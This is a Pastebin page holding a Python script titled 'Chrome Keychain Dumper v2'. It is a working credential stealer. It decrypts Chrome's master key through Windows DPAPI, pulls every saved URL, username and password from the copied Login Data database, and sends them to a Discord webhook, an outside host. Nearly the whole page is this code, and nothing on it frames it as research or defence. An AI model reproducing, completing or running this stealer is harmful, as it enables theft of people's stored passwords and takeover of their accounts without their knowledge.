YaBoiSwayZ

Chrome Keychain Dumper v2 (WIP)

May 26th, 2024
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.09 KB | Source Code | 0 0
  1. import os
  2. import json
  3. import base64
  4. import sqlite3
  5. import win32crypt
  6. from Crypto.Cipher import AES
  7. import shutil
  8. import requests
  9. import logging
  10. from concurrent.futures import ThreadPoolExecutor, as_completed
  11.  
  12. # Configure logging
  13. logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
  14.  
  15. # Define constants
  16. TEMP_DB = "Loginvault.db"
  17. CHROME_USER_DATA_PATH = os.path.join(os.environ['USERPROFILE'], r'AppData\Local\Google\Chrome\User Data')
  18. LOCAL_STATE_PATH = os.path.join(CHROME_USER_DATA_PATH, 'Local State')
  19. LOGIN_DATA_PATH = os.path.join(CHROME_USER_DATA_PATH, r'default\Login Data')
  20.  
  21. def get_master_key():
  22.     if not os.path.exists(LOCAL_STATE_PATH):
  23.         logging.error("The 'Local State' file does not exist.")
  24.         return None
  25.     try:
  26.         with open(LOCAL_STATE_PATH, "r", encoding='utf-8') as f:
  27.             local_state = json.load(f)
  28.         encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
  29.         master_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
  30.         return master_key
  31.     except (IOError, KeyError, ValueError) as e:
  32.         logging.error(f"Error getting master key: {e}")
  33.         return None
  34.  
  35. def decrypt_payload(cipher, payload):
  36.     try:
  37.         return cipher.decrypt(payload)
  38.     except Exception as e:
  39.         logging.error(f"Error decrypting payload: {e}")
  40.         return None
  41.  
  42. def generate_cipher(aes_key, iv):
  43.     try:
  44.         return AES.new(aes_key, AES.MODE_GCM, iv)
  45.     except ValueError as e:
  46.         logging.error(f"Error generating cipher: {e}")
  47.         return None
  48.  
  49. def decrypt_password(buff, master_key):
  50.     try:
  51.         iv, payload = buff[3:15], buff[15:]
  52.         cipher = generate_cipher(master_key, iv)
  53.         if cipher:
  54.             decrypted_pass = decrypt_payload(cipher, payload)
  55.             if decrypted_pass:
  56.                 return decrypted_pass[:-16].decode()
  57.         return "Failed to decrypt password"
  58.     except Exception as e:
  59.         logging.error(f"Error decrypting password: {e}")
  60.         return "Decryption failed"
  61.  
  62. def retrieve_chrome_passwords(temp_db_file, master_key):
  63.     decrypted_info = []
  64.     if not os.path.exists(temp_db_file):
  65.         logging.error("Temporary database file does not exist.")
  66.         return decrypted_info
  67.     try:
  68.         with sqlite3.connect(temp_db_file) as conn:
  69.             cursor = conn.cursor()
  70.             cursor.execute("SELECT action_url, username_value, password_value FROM logins")
  71.             for url, username, encrypted_password in cursor.fetchall():
  72.                 decrypted_info.append((url, username, decrypt_password(encrypted_password, master_key)))
  73.     except sqlite3.Error as e:
  74.         logging.error(f"Error retrieving Chrome passwords: {e}")
  75.     finally:
  76.         os.remove(temp_db_file)
  77.     return decrypted_info
  78.  
  79. def send_to_discord_webhook(data, webhook_url):
  80.     headers = {'Content-Type': 'application/json'}
  81.     payload = {'content': data}
  82.     try:
  83.         response = requests.post(webhook_url, json=payload, headers=headers)
  84.         if response.status_code == 204:
  85.             logging.info("Decrypted information uploaded to Discord successfully!")
  86.         else:
  87.             logging.error("Failed to upload decrypted information to Discord.")
  88.     except Exception as e:
  89.         logging.error(f"Error sending data to Discord Webhook: {e}")
  90.  
  91. def main():
  92.     master_key = get_master_key()
  93.     if not master_key:
  94.         exit(1)
  95.  
  96.     if not os.path.exists(LOGIN_DATA_PATH):
  97.         logging.error("Chrome login data SQLite database does not exist.")
  98.         exit(1)
  99.  
  100.     shutil.copy2(LOGIN_DATA_PATH, TEMP_DB)
  101.     decrypted_info = retrieve_chrome_passwords(TEMP_DB, master_key)
  102.  
  103.     webhook_url = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
  104.     data_to_upload = "\n".join([f"URL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n{'*' * 50}"
  105.                                 for url, username, decrypted_password in decrypted_info])
  106.  
  107.     send_to_discord_webhook(data_to_upload, webhook_url)
  108.  
  109. if __name__ == '__main__':
  110.     main()
Add Comment
Please, Sign In to add comment